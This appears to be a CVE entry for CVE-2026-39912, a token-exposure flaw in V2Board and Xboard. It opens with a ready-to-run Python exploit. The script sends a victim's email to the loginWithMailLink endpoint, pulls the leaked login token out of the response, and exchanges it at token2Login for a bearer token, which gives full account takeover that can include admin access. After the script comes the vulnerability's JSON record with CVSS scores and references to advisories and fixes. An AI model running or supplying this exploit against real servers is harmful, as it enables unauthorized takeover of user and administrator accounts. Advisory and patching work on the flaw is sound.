CVE-2026-39912

import requests # Target configuration target_url = "http://target-domain.com" victim_email = "[email protected]" # Step 1: Get auth token via loginWithMailLink # Vulnerability: The token is returned directly in the response body endpoint_1 = f"{target_url}/api/v1/passport/auth/loginWithMailLink" payload = {"email": victim_email} try: response = requests.post(endpoint_1, json=payload) data = response.json() # Extract token based on typical response structure if 'data' in data and 'token_url' in data['data']: token_url = data['data']['token_url'] # Extract token parameter logic auth_token = token_url.split("token=")[-1] print(f"[+] Token obtained: {auth_token}") else: print("[-] Failed to retrieve token. Check response.") print(data) exit() # Step 2: Exchange token for Bearer Token endpoint_2 = f"{target_url}/api/v1/passport/auth/token2Login" token_payload = {"token": auth_token} session_resp = requests.post(endpoint_2, json=token_payload) session_data = session_resp.json() if 'data' in session_data and 'token' in session_data['data']: bearer_token = session_data['data']['token'] print(f"[+] Bearer Token obtained: {bearer_token}") print(f"[+] Account takeover successful.") else: print("[-] Failed to exchange token.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-39912", "sourceIdentifier": "[email protected]", "published": "2026-04-09T19:16:25.920", "lastModified": "2026-04-15T15:00:32.790", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "V2Board 1.6.1 through 1.7.4 and Xboard through 0.1.9 expose authentication tokens in HTTP response bodies of the loginWithMailLink endpoint when the login_with_mail_link_enable feature is active. Unauthenticated attackers can POST to the loginWithMailLink endpoint with a known email address to receive the full authentication URL in the response, then exchange the token at the token2Login endpoint to obtain a valid bearer token with complete account access including admin privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://chocapikk.com/posts/2026/xboard-v2board-account-takeover/", "source": "[email protected]"}, {"url": "https://github.com/cedar2025/Xboard/blob/1fe6531924cc1ec662a88b9ef725afcf78d660bc/app/Http/Controllers/V1/Passport/AuthController.php#L51", "source": "[email protected]"}, {"url": "https://github.com/cedar2025/Xboard/blob/1fe6531924cc1ec662a88b9ef725afcf78d660bc/app/Services/Auth/MailLinkService.php#L49", "source": "[email protected]"}, {"url": "https://github.com/cedar2025/Xboard/commit/121511523f04882ec0c7447acd9b8ebcb8a47957", "source": "[email protected]"}, {"url": "https://github.com/cedar2025/Xboard/pull/873", "source": "[email protected]"}, {"url": "https://github.com/v2board/v2board/blob/0ca47622a50116d0ddd7ffb316b157afb57d25e8/app/Http/Controllers/Passport/AuthController.php#L71", "source": "[email protected]"}, {"url": "https://github.com/v2board/v2board/pull/981", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/v2board-xboard-authentication-token-exposure-via-loginwithmaillink", "source": "[email protected]"}]}}